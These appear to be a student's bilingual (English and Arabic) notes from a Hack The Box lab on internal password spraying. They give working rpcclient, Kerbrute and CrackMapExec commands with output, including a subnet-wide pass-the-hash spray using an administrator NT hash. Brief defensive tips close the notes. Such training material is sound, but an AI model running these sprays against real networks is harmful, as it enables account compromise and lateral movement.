10-Internal Password Spraying - from Linux

after collect the users and the email we will execute the attack The following sections will let us practice Password Spraying from Linux and Windows hosts. This is a key focus for us as it is one of two main avenues for gaining domain credentials for access, but one that we also must proceed with cautiously.

1-Internal Password Spraying from a Linux Host

Once we’ve created a wordlist using one of the methods shown in the previous section, it’s time to execute the attack. `Rpcclient` is an excellent option for performing this attack from Linux. An important consideration is that a valid login is not immediately apparent with `rpcclient`, with the response `Authority Name` indicating a successful login. We can filter out invalid login attempts by `grepping` for `Authority` in the response. The following Bash one-liner (adapted from [here]) can be used to perform the attack.

1-use rpcclient

Using a Bash one-liner for the Attack : "$u%Welcom1" --> $u : username , Welcom1 --> password : Welcom1 هيعقد يجرب كل username اللي في list علي الباسورد

```
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c
"getusername;quit" 172.16.5.5 | grep Authority; done



0xAmr0zZakaria@htb[/htb]$ for u in $(cat valid_users.txt);do rpcclient -U
"$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT
```

2-use Kerbrute

```
0xAmr0zZakaria@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc
172.16.5.5 valid_users.txt  Welcome1


    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

2022/02/17 22:57:12 >  Using KDC(s):
2022/02/17 22:57:12 >   172.16.5.5:88

2022/02/17 22:57:12 >  [+] VALID LOGIN:  sgage@inlanefreight.local:Welcome1
2022/02/17 22:57:12 >  Done! Tested 57 logins (1 successes) in 0.172 seconds
```

3-use CrackMapExec

- **+   ---> attack is executed and get valid information**
- **-   ---> attack is executed and get invalid inforamtion**

```
0xAmr0zZakaria@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Password123
```

check the username is true or false

```
0xAmr0zZakaria@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Password123
```

Local Administrator Password Reuse

Internal password spraying is not only possible with domain user accounts. If you obtain administrative access and the NTLM password hash or cleartext password for the local administrator account (or another privileged local account), this can be attempted across multiple hosts in the network. Local administrator account password reuse is widespread due to the use of gold images in automated deployments and the perceived ease of management by enforcing the same password across multiple hosts.

CrackMapExec is a handy tool for attempting this attack. It is worth targeting high-value hosts such as `SQL` or `Microsoft Exchange` servers, as they are more likely to have a highly privileged user logged in or have their credentials persistent in memory.

Sometimes we may only retrieve the NTLM hash for the local administrator account from the local SAM database. In these instances, we can spray the NT hash across an entire subnet (or multiple subnets) to hunt for local administrator accounts with the same password set. In the example below, we attempt to authenticate to all hosts in a /23 network using the built-in local administrator account NT hash retrieved from another machine. The `--local-auth` flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout. `Make sure this flag is set so we don't potentially lock out the built-in administrator for the domain`. By default, without the local auth option set, the tool will attempt to authenticate using the current domain, which could quickly result in account lockouts.

هو ان انتا بتعقد نجرب username, hash for administrator علي كل الاجهزة اللي في الشبكة علشان ممكن يكون حساب admin متسجل عليهم

الفكرة باختصار:

- لما تسيطر على جهاز في الشبكة (مثلاً جهاز ويندوز)، ممكن تجيب حاجة اسمها **NTLM hash** من قاعدة بيانات **SAM** (دي اللي بتخزن كلمات مرور الحسابات المحلية).
- الـ **NTLM hash** ده زي بصمة لكلمة السر، وبدل ما تحاول تخمن الباسورد، تستخدم البصمة نفسها لتجرب الدخول على باقي الأجهزة.

العملية اللي بتحصل:

1. بتاخذ الـ **hash** الخاص بحساب الـ Administrator اللي جبته من جهاز معين.
2. تجرب تستخدمه على أجهزة تانية في نفس الشبكة (مثلاً شبكة /23 اللي فيها حوالي 512 جهاز).
3. لو فيه جهاز بيستخدم نفس كلمة المرور، هيدخلك عليه كـ Local Admin.

ليه بنستخدم `--local-auth`؟

- الفلاج ده بيقول للأداة (زي CrackMapExec مثلًا):
  - "جرّب الدخول مرة واحدة بس على كل جهاز."
  - "خلّي التجربة محلية (local auth) وما تستخدمش دومين الحسابات."
- ليه ده مهم؟ عشان لو جربت كذا مرة أو بدون الفلاج ده، ممكن تعمل **lockout** (يعني الحساب يتقفل) بسبب عدد محاولات الدخول الفاشلة.

مثال عملي (بأداة **CrackMapExec**):

```
crackmapexec smb 192.168.1.0/23 -u Administrator -H <NTLM_HASH> --local-auth
```

- `192.168.1.0/23`: دي الشبكة اللي بتجرب عليها (بتحتوي حوالي 512 جهاز).
- `-u Administrator`: ده اسم الحساب المحلي اللي بتجربه.
- `-H <NTLM_HASH>`: دي بصمة كلمة المرور اللي هتستخدمها.
- `--local-auth`: معناها إنك تجرب الدخول على الحساب المحلي بس.

الفايدة من الحركة دي؟

1. **إعادة استخدام كلمة المرور:** لو كل الأجهزة عندها نفس كلمة المرور لحساب الـ Admin المحلي، تقدر تسيطر على أكتر من جهاز.
2. **التحرك الأفقي:** لما تدخل كـ Admin على أجهزة تانية، ممكن توصل لمعلومات أكتر أو حتى تسيطر على الدومين كله.

إزاي تحمي نفسك؟

1. استخدم أداة زي **LAPS** من مايكروسوفت، اللي بتعمل كلمة مرور مختلفة لكل جهاز للحساب المحلي.
2. راجع الإعدادات بتاعت الـ lockout عشان تقلل عدد المحاولات اللي ممكن حد يجربها.

```
Local Admin Spraying with CrackMapExec

0xAmr0zZakaria@htb[/htb]$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

SMB         172.16.5.50     445    ACADEMY-EA-MX01  [+] ACADEMY-EA-MX01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB         172.16.5.25     445    ACADEMY-EA-MS01  [+] ACADEMY-EA-MS01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB         172.16.5.125    445    ACADEMY-EA-WEB0  [+] ACADEMY-EA-WEB0\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
```

The output above shows that the credentials were valid as a local admin on `3` systems in the `172.16.5.0/23` subnet. We could then move to enumerate each system to see if we can find anything that will help further our access.